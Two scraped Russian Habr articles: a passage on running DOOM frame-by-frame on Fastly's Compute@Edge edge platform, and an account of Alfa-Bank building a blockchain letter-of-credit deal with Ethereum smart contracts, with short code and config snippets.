### Изменения в игровом цикле
Чтобы иметь возможность запускать общий код на Compute@Edge, мне нужно было отрефакторить традиционный игровой цикл, используемый в DOOM. Обычно игра инициализируется, а затем выполняется в бесконечном цикле, постоянно совершая с нужной частотой такты «ввод->симуляция->вывод», получая ввод от таких локальных устройств ввода, как клавиатура, мышь или контроллер, и выводя видео со звуком. Однако на Compute@Edge подобный процесс был бы исключён платформой, потому что задача инстанса заключается в запуске, выполнении некой работы, а затем возврате к вызывающей стороне. Поэтому я полностью избавился от цикла и изменил инстанс так, чтобы он выполнял только один кадр игры.
При выполнении в цикле полученный результат выглядит примерно так:
Ниже я подробнее расскажу о каждом из этих этапов.
### Вывод
В видеоиграх память, содержащая отображаемое игроку готовое изображение, называется *буфером кадров*. В современных играх буфер кадров часто создаётся специализированным оборудованием GPU, так как готовое изображение часто является результатом выполнения множества этапов конвейера GPU. Однако в 1993 году рендеринг выполнялся программно, и в DOOM готовый буфер был доступен программисту как простой массив C. Такая схема упростила портирование DOOM на новые платформы, так как предоставляла разработчикам простую и понятную отправную точку для начала работы.
В случае с Compute@Edge я хотел возвращать буфер кадров в браузер игрока, где его можно отобразить. Для этого было достаточно использовать API C для написания буфера кадров в теле ответа, а затем отправлять это тело вниз по потоку:
```
// gets a pointer to the framebuffer
byte* framebuffer = GetFramebuffer(&framebuffer_size);
BodyWrite(bodyhandle, framebuffer, framebuffer_size,...);
SendDownStream(handle, bodyhandle, 0);
```
Когда запущенный в браузере клиент получает http-ответ от Compute@Edge, он парсит из него буфер кадров и рендерит его в браузере.
### Состояние
Для воспроизведения игрового цикла в этой новой системе нам нужно куда-то сохранять состояние, чтобы при вызове Compute@Edge для идущих по порядку кадров мы могли сообщать новому инстансу, где находимся в игре. Мне удалось воспользоваться присутствующими в игре функциями сохранения-загрузки, которые изначально предоставляли игроку возможность сохранять состояние игры на диск, а затем загружать игру и продолжать игровой процесс.
Я использовал для состояния тот же механизм, что и для буфера кадров: в конце кадра игры я вызываю систему сохранения, чтобы получить буфер, описывающий состояние игры, а затем присоединяю его к буферу кадров, при возврате http-ответа вызывающей стороне.
```
// gets a pointer to the framebuffer
byte* resp = GetFramebuffer(&framebuffer_size);
// gets the gamestate, appends it to the framebuffer
resp+fb_size = GetGameState(&state_size);
BodyWrite(bodyhandle, framebuffer, framebuffer_size + state_size,...);
SendDownStream(handle, bodyhandle, 0);
```
Наряду с этим изменением был модифицирован и клиент, теперь он разделяет буфер кадров и состояние, и хранит состояние локально, а буфер кадров отображает в браузере. Когда он в следующий раз отправляет запрос к Compute@Edge, то передаёт в теле запроса состояние, которое инстанс Compute@Edge может считать из тела запроса и передать игре следующим образом:
```
BodyRead(bodyhandle, buffer,...);
LoadGameFromBuffer(buffer);
```
Если мы вычислим кадр игры, то он будет выглядеть так, как будто он произошёл такт спустя после сохранения состояния игры.
### Ввод
Далее нам нужно реализовать ввод пользователя, чтобы в игру действительно можно было играть! Система ввода DOOM абстрагирована при помощи концепции событий ввода. Например, «игрок нажал клавишу W» или «игрок переместил мышь по X». При помощи слушателей событий Javascript (event listeners) мы достаточно легко можем генерировать в браузере события ввода, сопоставляемые с теми, которые ожидает DOOM:
```
document.addEventListener(‘keydown’, (event) => {
// save event.keyCode in a form we can send later
});
```
Я отправляю события ввода вместе с состоянием, когда совершаю http-запрос к Compute@Edge. Затем инстанс парсит их в вид, который можно передать в движок игры перед вычислением кадра.
### Оптимизации
Первая работающая версия этого демо совершала весь путь одного такта примерно за 200 мс. Для интерактивной игры это неприемлемо. Обычно игры вычисляют кадр за 33 мс, что аналогично 30FPS, или за 16 мс, что аналогично 60FPS. Учитывая, что задержки будут нетривиальной частью частоты обновлений, я решил, что стоит стремиться к 50 мс, то есть к четырёхкратному улучшению.
Многие оптимизации, которые мне удалось реализовать, были связаны с переходом от выполнения непрерывного игрового цикла к вычислению отдельного кадра. Многие системы игры построены на таком принципе, что каждый такт является дельтой предыдущего кадра. Игра хранит состояние, которое не записывается в сохранение игры, а используется в каждом кадре для принятия решений. Многие такие системы требовали настройки и для обеспечения правильной работы, и из соображений производительности. Эти системы лучше всего работали в ситуации, когда они находятся не в первом кадре и многие переменные и состояние уже инициализированы.
При запуске игра выполняет множество предварительных расчётов, в основном связанных с тригонометрией для преобразований из видового пространства в пространство мира. Этим предварительно вычисляемым таблицам также требуется информация о разрешении экрана игры, и именно поэтому они вычисляются во время выполнения. В своём проекте я сделал разрешение рендеринга неизменным, поэтому смог просто встроить готовые таблицы в скомпилированный двоичный файл, чтобы не выполнять в каждом кадре эти вычисления.
Мне удалось добиться, чтобы игра работала со скоростью 50-75 мс на такт. Можно поработать ещё, чтобы приблизиться к исходным показателям DOOM, но такие оптимизации показали, что мы можем итеративно работать с подобными проектами на Compute@Edge.
### Выводы
Это была моя первая проба Compute@Edge, и я не знал, чего ждать от платформы с точки зрения отладки и итеративной работы. Платформа активно и непрерывно совершенствуется, и за три недели работы над проектом я увидел эти улучшения. В частности я хотел бы упомянуть [Log Tailing](https://www.fastly.com/blog/introducing-compute-edge-log-tailing-for-better-observability-and-easier-debugging), позволивший мне почти в реальном времени просматривать выводимую в DOOM информацию. При работе с довольно непрозрачной программой на C, особенно до того, как мне удалось добиться экранного рендеринга, просмотр этих выводимых данных был неоценим при отладке. В целом развёртывание на Compute@Edge оказалось похожим, например, на работу с традиционной видеоигровой консолью.
Честно говоря, она не была бы идеальным решением для запуска игры реального времени, требующей обновлений с точными таймингами. От подобного способа запуска игры не удастся получить никакой реальной выгоды. Задачей этого эксперимента было расширение границ возможного для платформы, создание реального демо для открытия и демонстрации потенциала. Разумеется, эту платформу в некоторых случаях можно использовать для видеоигр, и мы продолжаем исследовать способы использования продукта Compute@Edge в различных отраслях.
---
#### На правах рекламы
[Мощные VDS](https://vdsina.ru/cloud-servers?partner=habr335) с процессорами AMD EPYC для разработчиков. Частота ядра CPU до 3.4 GHz. Максимальная конфигурация позволит оторваться на полную — 128 ядер CPU, 512 ГБ RAM, 4000 ГБ NVMe.
[](https://vdsina.ru/cloud-servers?partner=habr335) | https://habr.com/ru/post/553802/ | null | ru | null |
# Как мы делали первую сделку-аккредитив на блокчейн в Альфа-Банке
Несколько месяцев назад Альфа-Банк и S7 совершили сделку-аккредитив, используя блокчейн. Если вы ещё не видели, то прошу [сюда](https://vc.ru/n/alfa-s7-blockchain).
Думаю многие слышали или читали про блокчейн — вокруг технологии много хайпа и как обычно до нас это всё дошло с некоторым запозданием. Но всё таки дошло и теперь многие хотят, чтобы в их продуктах был блокчейн. Возможно мощный маркетинг приведёт к “зиме” в ещё одной технологии, а возможно мы все окажемся в одном большом блокчейне. Давайте всё таки разбираться с технологией и сделаем это на примере продукта Аккредитивы, который мы создали.
Так выглядит наш интерфейс:
Технически мы сделали:
* Фронт-приложение для клиентов
* Фронт-приложение для сотрудника банка
* API для взаимодействия с внутрибанковскими сервисами, сохранения документов в БД и взаимодействия с Ethereum
* Контракты для создания аккредитивов и осуществления операций над ними
* Инфраструктурные приседания по минимуму
Всё это на js: react, redux, node. Контракты на solidity. Приложения в Docker-контейнерах, а клиент для сети Ethereum — Parity взяли [отсюда](https://hub.docker.com/r/ethcore/parity/). Кстати, подняли мы его на отдельной машине, так как он достаточно активно потребляет ресурсы, но как оказалось впоследствии — с этим мы добавили себе ещё кучу проблем. В целом создание приложений и возня с инфраструктурой заняли гораздо больше времени, чем работа над контрактами. Но про фронты и инфраструктуру статей достаточно, поэтому поговорим о контрактах.
Несмотря на хайп, самым частым вопросом остаётся: а зачем вам блокчейн и смарт-контракты? Многие видят потенциал в технологии, и ещё больше людей настроены скептически, нам же просто интересно. Но есть проблема — найти бизнес-кейс для того, чтобы применить блокчейн и не притягивать за уши. Поэтому мы пошли простым путём и вдохновились идеей Barclays, которые первыми в мире сделали Аккредитивы на блокчейне вместе с компанией Wave. К тому же продукт, который мы сделали нужен был и без блокчейна, а тут ещё получилось и заняться некоторым исследованием.
Как же можно применять эту технологию? Хорошо, когда вы можете использовать одну из доступных криптовалют, чтобы производить денежный оборот, но, как известно, у нас законодательно запрещена работа с криптовалютами, даже если это не будет фактически валютой, а, например, [colored coins](https://github.com/Colored-Coins/Colored-Coins-Protocol-Specification/wiki/Introduction), поэтому никакого эквивалента реальным деньгам мы не переносили внутрь сети. Следующая идея — использовать блокчейн как “неизменную” базу данных (про неизменность и [просто вспомнить](https://bitcoin.org/bitcoin.pdf)), состояние которой валидируют и сохраняют участники сети, тогда можно создать зависимость ваших бизнес-операций от некоторого состояния внутри блокчейна и использовать его как ещё один регулятор, как бы иронично это ни звучало. Плюсом добавления в вашу систему такого “переключателя” является открытость и доступность его состояния, любой, кто может скачать и запустить клиент сети, с которой работает ваше приложение, может узнать, в каком состоянии находятся сейчас “переключатели” при условии того, что этот человек знает, как их найти с помощью необходимых идентификаторов. Соответственно, чем больше логики перейдет на блокчейн, тем более открытым будет процесс для клиентов, и тем ближе будет ваше приложение к концепции [DAPP](http://www.coindesk.com/7-cool-decentralized-apps-built-ethereum/). Теперь очередь подходит к тому, чтобы выбрать, какую же сеть использовать, а их достаточно много, можно почитать [анализ полугодовой давности о некоторых популярных из них](https://arxiv.org/abs/1606.06530). Говоря о популярных — многие слышали про биткойн, но не все знают о том, что в нём есть скриптовый язык, и некоторые концепции вполне реализуются с помощью него. Тем не менее, появляются новые криптовалюты, сосредоточенные на том чтобы решить проблемы биткоина, и одна из таких — [Ethereum](https://github.com/ethereum/wiki/wiki/White-Paper). Решение использовать Ethereum было принято не из-за наличия смарт-контрактов, а из-за совокупности улучшений, описанных в White-Paper.
Но перед тем, как погрузиться в написание нужной нам логики на стороне Ethereum, посмотрим на бизнес-процесс. Во время сделки был открыт и исполнен так называемый безотзывный покрытый аккредитив. За этими непонятными терминами скрывается достаточно простая процедура, в которой участвуют 3 стороны: покупатель, продавец и банк:
Покупатель услуг заполняет анкету на открытие аккредитива, в которой указывает реквизиты Продавца и условия операции: сумму, сроки и требуемые документы.
Банк принимает эту заявку и, если все проверки успешно пройдены, открывает аккредитив. Тут же снимает с Покупателя указанную им сумму. Теперь очередь Продавца. Он должен отправить банку те документы, которые от него ждет Покупатель. Эти документы являются доказательством того, что он исполнил свои услуги. Например, счёт-фактуру, которая удостоверяет фактическую отгрузку товаров. Банк проверяет эти документы. Если все хорошо, то аккредитив исполняется, деньги переводятся на счет Продавцу. В итоге все довольны, в том числе банк, который берет свою комиссию за все эти манипуляции.
В нашем случае был не самый сложный аккредитив — все операции проводились в пределах одного банка, так как и покупатель, и продавец были нашими клиентами. На данном этапе частичное исполнение аккредитива реализовывать не нужно было, поэтому сам процесс получился достаточно простым.
Что же такое смарт-контракты Ethereum? Это просто программы, исполняемые EVM (Ethereum Virtual Machine). Контракты могут писаться на нескольких языках, например, на solidity. Все поддерживаемые языки тьюринг-полные, но это не значит, что вы можете всё сделать на EVM. Исполнение вашего кода должно контролироваться, т.к. его будут исполнять другие участники сети, поэтому за исполнение вы будете платить деньги — wei ([деноминация ether](https://github.com/ethereum/wiki/wiki/White-Paper#currency-and-issuance)). Чтобы код, написанный в вашем контракте, начал исполняться, вам нужно создать транзакцию. Эти транзакции передаются майнерам — тем участникам сети, которые занимаются её поддержкой. Они добавляют новые блоки с валидными транзакциями в блокчейн (объяснение намеренно упрощено, подробнее можно почитать [тут](https://bitcoin.org/en/developer-guide#block-chain) и [тут](https://github.com/ethereum/wiki/wiki/White-Paper#blockchain-and-mining)). Если в качестве адресата транзакции указан смарт-контракт, то майнер исполняет код функции, которая вызывается в транзакции, это стоит вычислительных ресурсов майнера, их использование вы должны оплатить.
Создание смарт-контракта это тоже транзакция, но с пустым адресатом, сохранение контракта в следующее состояние сети потребует ресурсов, которые тоже нужно оплатить. Чтобы сделать процесс оплаты более открытым (превратить его в маркетплэйс), введена концепция внутрисетевого ресурса — газа (вам надо будет много газа, так что вы, видимо, [протосс](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%82%D0%BE%D1%81%D1%81%D1%8B)). Газ не является деноминацией эфира, но у любых вычислительных операций и у сохранения данных есть ценник в единицах газа. В транзакции, которую вы хотите сделать, указывается число startgas — сколько газа будет стоить её исполнить, а стоимость одной единицы газа (gasprice) вы назначаете сами, поэтому, указывая более высокий gasprice, вы повышаете шанс включения вашей транзакции в блок, хотя стоит сказать, что большинство майнеров не отбирают транзакции, значит, можно оставлять дефолтное значение. Посчитать стоимость вашего контракта можно в [web-редакторе](https://ethereum.github.io/browser-solidity/).
Кажется, чтобы вообще что-то cделать, нужно платить, но если у вас нету друга, который вам подарил эфир на новый год, то можно настроить клиент на приватный чейн, там можно вводить читкоды на миллионы эфиров и тестировать свои творения. Вообще так лучше всегда делать.
У Parity есть возможность запуска с [приватным чейном](https://github.com/ethcore/parity/wiki/Private-development-chain). Хотя есть способ проще — воспользоваться [симулятором](https://github.com/ethereumjs/testrpc). Также есть фрэймворки, упрощающие написание смарт-контрактов и приложений, взаимодействующих с ними, например, [truffle](http://truffleframework.com/docs/getting_started/installation) или [embark](https://github.com/iurimatias/embark-framework). Особых предпочтений у меня нет, но на этом проекте я больше работал с embark. Хотя truffle позволяет компилировать контракты — создавать js-обвязку над вызывом функций контрактов, ориентирован на TDD и по дефолту создает проект метакоин (как сделать свою валюту внутри Ethereum), поэтому, чтобы начать разбираться, я бы порекомендовал его.
Вроде бы всё просто, бери фрэймворк и в продакшн, но вы же понимаете, что цена ошибки в контракте может стоить очень дорого, например, первый хардфорк Ethereum, когда проблема была в контрактах написанных для DAO, об этой проблеме говорили на этапе crowdsale DAO, но в итоге всё это вылилось в хардфорк и создание Ethereum Classic (очень обще — взлом DAO убрали костылём, но много людей было за вариант: накосячили — их вина, платформа не должна спасать тех, кто накосячил, если платформа выполняет свои функции правильно), советую [почитать подробнее](http://www.coindesk.com/understanding-dao-hack-journalists/). Поэтому прежде чем переводить логику ваших приложений внутрь децентрализованной сети, имеет смысл почитать [гайд](https://github.com/ConsenSys/smart-contract-best-practices).
Зависимость от блокчейна мы добавили после второго и четвертого пункта в бизнес-процессе. После подтверждения аккредитива сотрудником банка в первом контракте создаётся объект аккредитива.
```
struct LetterOfCredit {
bool init;
bytes32 hash;
}
```
Эти структуры надо где-то хранить, желательно в чем-то типа key-value store, в solidity есть:
```
mapping (bytes32 => LetterOfCredit) lcs;
```
Теперь по 32-байтному ключу мы можем получить доступ к объекту аккредитива или создать его. В нашем случае ключом будет md5 от трёх полей — ИНН покупателя + ИНН продавца + Название и номер договора (да, это одно поле). Насколько вы помните, md5 — 128 битная хэш функция, значит, digest — 16 байт, если представить в виде символов — используем шестнадцатеричное исчисление, соответственно, один символ кодирует 2^4 — полбайта (называется ниббл), 16 байт превращаются в 32 ниббла, в 32 символа, при передаче этих символов в виде строчки из стороннего клиента логично предположить, что кодироваться они будут одним байтом, значит, 32 байта (пуф 16 байт стали 32). Т.к. мы сохраняем работу с нашими контрактами из клиентов с web-view, то приходится мириться с тем, что они там будут вводить именно строчку, поэтому md5. С точки зрения защиты данных md5 разумеется [не стоит использовать](https://ru.wikipedia.org/wiki/MD5#.D0.9A.D1.80.D0.B8.D0.BF.D1.82.D0.BE.D0.B0.D0.BD.D0.B0.D0.BB.D0.B8.D0.B7), повысить устойчивость к атакам можно добавив дополнительный слой хэширования перед md5 и использовать например SHA-3.
Так выглядят функции первого контракта, если подключиться к нему через клиент-сети Parity (это функции, не меняющие состояние блокчейна — соответственно они бесплатные)
Что делают эти функции, из названия должно быть понятно. Второе поле в функции checkData — хэш от даты создания аккредитива + дата закрытия + сумма.
Дальше нам нужно реализовать закрытие аккредитива и можно всё сделать внутри этого же контракта, но т.к. в дальнейшем есть планы по развитию и на следующих этапах будет целесообразно использовать некоторое множество контрактов — мы решили делать закрытие в другом контракте, поэтому нам нужно как-то передать объект, для этого есть opcode call, например:
```
nextContract.call(bytes4(sha3("create(bytes32,bytes32)")), id, lcs[id].hash);
```
Из этой строчки становится понятно, что мы просто вызываем функцию create с определёнными параметрами у nextContract. Теперь, чтобы возможность вызывать функцию create осталась только у первого контракта, нужно сделать ограничение доступа к определённым функциям, это можно решить, добавив модификатор
```
modifier restricted() {
if (msg.sender == owner) _;
}
```
или отдельный контракт, от которого можно наследоваться:
```
contract Owned {
function Owned() { owner = msg.sender; }
address owner;
modifier restricted {
if (msg.sender != owner)
throw;
_;
}
}
```
где address owner будет инициализирован при создании контракта вашим адресом.
Теперь второй контракт можно создавать из первого контракта (используя просто new NextContract()), пометив нужные функции второго контракта модификатором restricted, потому что в таком случае msg.sender будет первый контракт, а не ваш аккаунт, который оплачивает транзакцию, его адрес будет в tx.origin ([пример контрактов](https://blog.colony.io/writing-more-robust-smart-contracts-99ad0a11e948#.62b31l68u)). Так происходит потому, что вызов одного контракта другим происходит с помощью [сообщений](https://github.com/ethereum/wiki/wiki/White-Paper#messages), при этом всё выполнение оплачивается из изначального газа в транзакции.
Также вы можете создать функцию, позволяющую изменять адреса следующих контрактов в цепи, тем самым изменяя логику вашего бизнес процесса.
Когда аккредитив попадает во второй контракт, в его структуру добавляется поле статус, и по умолчанию он будет открытый.
После того как продавец предоставит соответствующие документы, которые проверит сотрудник банка, во втором контракте будет вызвана функция закрытия аккредитива, доступ к которой ограничен другим модификатором, в данном случае это не первый контракт, а только аккаунт (адрес), у которого есть права для закрытия аккредитива. Если на вход функции закрытия переданы существующий во втором контракте id и полученный с помощью mapping аккредитив содержит поле hash, идентичное переданному на вход в функцию, то произойдет закрытие аккредитива, т.е. значение поля “статус” в структуре аккредитива поменяется.
Посмотрим на это через Parity, подсоединенному ко второму контракту:
Здесь помимо функций видны результаты их работы — под полем retVal
Все эти операции осуществляются тремя транзакциями:
* txCreate — создание аккредитива
* txForSend — посылка его во второй контракт для закрытия
* txClose — закрытие аккредитива
Как это выглядит для пользователя:
(транзакции со скриншота на приватном чейне)
Посмотреть паблик транзакции можно, на специальном [поисковике (etherscan)](https://etherscan.io/). Наши контракты на etherscan: [первый](https://etherscan.io/address/0x26cf05a5829dd739d0c93be57d6aeea326ef8c0f) и [второй](https://etherscan.io/address/0xbe6e0689a4306b8ced41831d368595e22cf656f2).
Как вы понимаете, сейчас в смарт-контрактах реализовано просто сохранение хэшей от некоторых полей аккредитива, его статус и проверка информации при закрытии. Да, у нас было больше идей того, что можно перенести на сторону блокчейна, и, возможно, в дальнейшем их получится реализовать. В данном проекте мы большую часть времени потратили на создание приложений: фронт-энд и апи. Хотя есть мнение, что так происходит во многих проектах, связанных с блокчейном.
Если вы добрались до запуска вашего проекта с блокчейном и будете поднимать свой клиент для сети, то вы можете столкнуться с проблемами из-за неточного времени, например, вы не сможете зайти в веб-интерфейс Parity. Поэтому советую вам сразу настроить синхронизацию времени по NTP на сервере, где у вас будет запущен Parity, своё время можно проверить с помощью [часиков](https://time.is/), если у вас не точное, то тоже синхронизируйтесь.
Если у вас микросервисная архитектура и приложение, требующее соединения с клиентом сети, находится не на том же сервере, на котором клиент, то на запросы вашего приложения будут возвращаться ошибки. Потому что по умолчанию Parity (клиент) слушает только localhost. Мы решили эту проблему, поставив перед ним Nginx, чтобы правильно спроксировать запросы и дополнительно обойти CORS:
```
location / {
proxy_pass http://127.0.0.1:8080;
proxy_set_header Origin http://127.0.0.1:8080;
}
```
это должно вам сэкономить немного нервов и времени (иные способы победить эту проблему с помощью параметров запуска у нас не заработали).
И всё таки зачем вам может понадобиться блокчейн? В идеале если вам нужно создать систему обмена информацией между участниками, независимую от уровня доверия между ними, то это то что вам нужно. Такая задача становится выполнимой потому что у каждого клиента сети есть связка приватный/публичный ключ, следовательно реализуется цифровая подпись, например: транзакция подписывается приватным ключом, аккаунта, который её создал. Как я понимаю, КЭП (квалифицированная электронная цифровая подпись), который имеет юридическую ценность, это обычная цифровая подпись, в брелке приватный ключ, а в реестре, куда вы принесли свой паспорт — публичный, подписывают приватным ключом хэш от ваших документов. В Ethereum можно просто создать транзакцию с хэшом в поле “дата”, которая будет подписана вашим приватным ключом следовательно можно будет проверить, что транзакция была создана вами. Получается, у вас есть механизм авторизации, такой же, как в КЭП, и всё? Не совсем, когда все участники сделки авторизованы, проблемой может стать исполнение алгоритма самой сделки, гарантом обычно выступает учреждение, через которое вы собираетесь осуществить сделку, вот тут проведение сделок через платформу для смарт-контрактов начинает выигрывать. Потому что логика, прописанная в смарт-контрактах, не меняется после того, как они были созданы и находится в открытом доступе, а исполнение его гарантируют все участники сети, которые майнят блоки. Как это применить? Например, вы можете просто перенести некоторую часть ваших процессов внутрь сети, если между участниками этих процессов нету доверия. Также в такой системе можно создавать децентрализованные сообщества с общим капиталом, где предложения по использованию ресурсов будут решаться кворумом участников. Сейчас создание продуктов, использующих блокчейн, ещё развивается как направление, поэтому будьте готовы к тому, что best-practices будут меняться.
Итак, easy level использования блокчейн — вы хотите делать записи об операциях в вашем бизнес-процессе во внешнем ресурсе, чтобы потом можно было показать транзакции об этих операциях и обратиться к смарт-контрактам, которые вернут формальное подтверждение произведённым операциям (мы на easy).
Medium level — вы авторизуете всех участников сделки и сохраняете информацию о созданных ими документах (вы, наверное, уже догадались, что речь идёт о хэшах) в блокчейн, с помощью смарт-контрактов. Так как вы делаете это через транзакцию от имени клиентов, транзакция подписана приватным ключом, проверяется через паблик-ключ — вы получаете подписанный электронный документ (аналог КЭП), соответственно, все дальнейшие операции с этими документами будут также подписаны и вы можете создать аналог электронного документооборота в рамках сети, разумеется, пересылать сами документы внутри блокчейна будет достаточно дорогостоящей операцией, поэтому целесообразно использовать хэши, с помощью которых следует проверять электронный документ переданный другим способом.
Формальные критерии проведения сделок лучше реализовать в отдельных контрактах, в данном случае это уже можно сделать, т.к. все элементы сделки есть внутри блокчейна. Вы получаете платформу для создания и проведения сделок, где все операции подписаны и схемы проведения сделок неизменны. Конечно, не всё так идеально, в этой концепции есть много вопросов, требующих ответа, и многие из них не технические, а юридические.
Fun level — есть достаточно много статей, рассматривающих потенциал технологии и то, [что можно сделать с помощью неё](https://bitcoinmagazine.com/articles/bootstrapping-a-decentralized-autonomous-corporation-part-i-1379644274). Сейчас есть определенный интерес к технологии, поэтому стартапы в сфере, связанной с блокчейн, могут сыскать [необходимые инвестиции](http://forklog.com/obzor-osnovnyh-grantov-dlya-blokchejn-industrii/).
В заключение:
Основной проблемой применения блокчейна внутри проектов остается юридическая сторона решения. Возможно, с поддержкой Германа Грефа в 2017 году что-то изменится, но в данный момент использование технологии сильно ограничено. В подобных проектах юристы необходимы с самого начала. Сейчас еще нет четких правил регуляции криптовалюты в РФ, поэтому наличие такого человека с момента закладывания основ и брейншторма воздушных замков сильно уменьшает риск потенциальных проблем. Блокчейн-часть — это бэкэнд вашего проекта, поэтому можете начинать писать ваше децентрализованное приложение с фронта, вы там всё равно проведёте большую часть времени.
У нас получилось создать простое решение, сохраняющее результаты своей деятельности в блокчейне, это далеко от того, как можно в принципе использовать технологию, но мы только в самом начале.
Сейчас есть много гипотез и идей, как можно использовать блокчейн. Что из этого удастся реализовать в соответствии с законодательством РФ? На этот вопрос можно будет ответить только после принятия большего количества законов, регулирующих использование блокчейна.
Что ещё почитать:
→ [Writing more robust smart contracts](https://blog.colony.io/writing-more-robust-smart-contracts-99ad0a11e948#.w9gvnl6bl)
→ [Understanding oracles](https://blog.oraclize.it/understanding-oracles-99055c9c9f7b#.n0z8flenb)
Ещё про Ethereum:
→ [Yellow paper](http://paper.gavwood.com/)
→ [Ethereum trie](https://easythereentropy.wordpress.com/2014/06/04/understanding-the-ethereum-trie/) | https://habr.com/ru/post/323070/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.